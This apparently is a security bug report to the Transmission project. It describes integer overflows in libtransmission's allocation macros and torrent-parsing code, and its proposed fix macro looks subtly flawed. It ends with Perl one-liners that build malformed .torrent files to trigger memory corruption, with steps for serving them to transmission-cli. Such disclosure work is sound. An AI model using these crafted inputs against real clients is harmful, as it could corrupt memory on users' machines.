I took a look at torrent file parsing in libtransmission, there are a few integer overflows because the tr_new/tr_new0 allocation wrappers don't handle overflow.
#define tr_new(struct_type, n_structs) \
((struct_type *) tr_malloc (sizeof (struct_type) * ((size_t)(n_structs))))
#define tr_new0(struct_type, n_structs) \
((struct_type *) tr_malloc0 (sizeof (struct_type) * ((size_t)(n_structs))))
#define tr_renew(struct_type, mem, n_structs) \
((struct_type *) tr_realloc ((mem), sizeof (struct_type) * ((size_t)(n_structs))))
Here is one example when parsing the files dictionary:
static const char*
parseFiles (tr_info * inf, tr_variant * files, const tr_variant * length)
{
int64_t len;
...
inf->isFolder = true;
inf->fileCount = tr_variantListSize (files);
inf->files = tr_new0 (tr_file, inf->fileCount); <--
Here fileCount is just the number of elements in a list, you can make a list containing empty dictionaries like this "ldededededede...e".
Here are a few more:
static const char*
getannounce (tr_info * inf, tr_variant * meta)
{
...
for (i=0; i<numTiers; i++)
n += tr_variantListSize (tr_variantListChild (tiers, i));
trackers = tr_new0 (tr_tracker_info, n); <--
static void
geturllist (tr_info * inf, tr_variant * meta)
{
...
const int n = tr_variantListSize (urls);
inf->webseedCount = 0;
inf->webseeds = tr_new0 (char*, n); <--
static const char*
tr_metainfoParseImpl (const tr_session * session,
tr_info * inf,
bool * hasInfoDict,
size_t * infoDictLength,
const tr_variant * meta_in)
...
inf->pieceCount = len / SHA_DIGEST_LENGTH;
inf->pieces = tr_new0 (tr_piece, inf->pieceCount); <--
Because these are macros, I'm not sure how you would prefer to fix these. If you want to keep the macros, you could write them like this:
#define tr_new(struct_type, n_structs) \
((struct_type*)((SIZE_MAX / sizeof(struct_type)) > n_structs) ? NULL : tr_malloc(sizeof(struct_type) * (size_t)(n_structs)))
They're getting a little bit unwieldy though, and now evaluate n_structs more than once, so maybe inline static functions would be better.
Another bug, containerReserve() doesn't check for integer overflow or allocation failure:
static void
containerReserve (tr_variant * v, size_t count)
{
...
v->val.l.vals = tr_renew (tr_variant, v->val.l.vals, n); <---
v->val.l.alloc = n;
...
}
Another bug is that tr_sha1 uses signed integers for length, rather than size_t:
bool
tr_sha1 (uint8_t * hash,
const void * data1,
int data1_length,
...)
This can cause memory corruption with very large torrents.
Here are some simple testcase for 32bit systems:
$ perl -e 'print "d4:infod4:name4:name12:piece lengthi1e5:filesl","d4:pathl4:filee6:lengthi1ee","de"x107374183,"e","6:pieces0:ee"' > overflow.torrent
$ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee6:pieces20:AAAAAAAAAAAAAAAAAAAAe13:announce-listl","l7:udp://0","0:"x134217728,"eee"' > overflow.torrent
This would make a torrent that's a 100MB or so, but would compress really well over gzip Content-Encoding.
Here is a testcase for a 64bit system, note that because of another bug in tr_loadFile you can't open very large torrents with transmission-cli (they get truncated), but you can just pass a http link to it instead:
$ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee","6:pieces2684354560:","A"x2684354560,"ee"' > test.torrent
$ python -m SimpleHTTPServer 8080 &
$ transmission-cli http://localhost:8080/test.torrent
The transfer can be compressed to make it a manageable size, it's about 2G otherwise.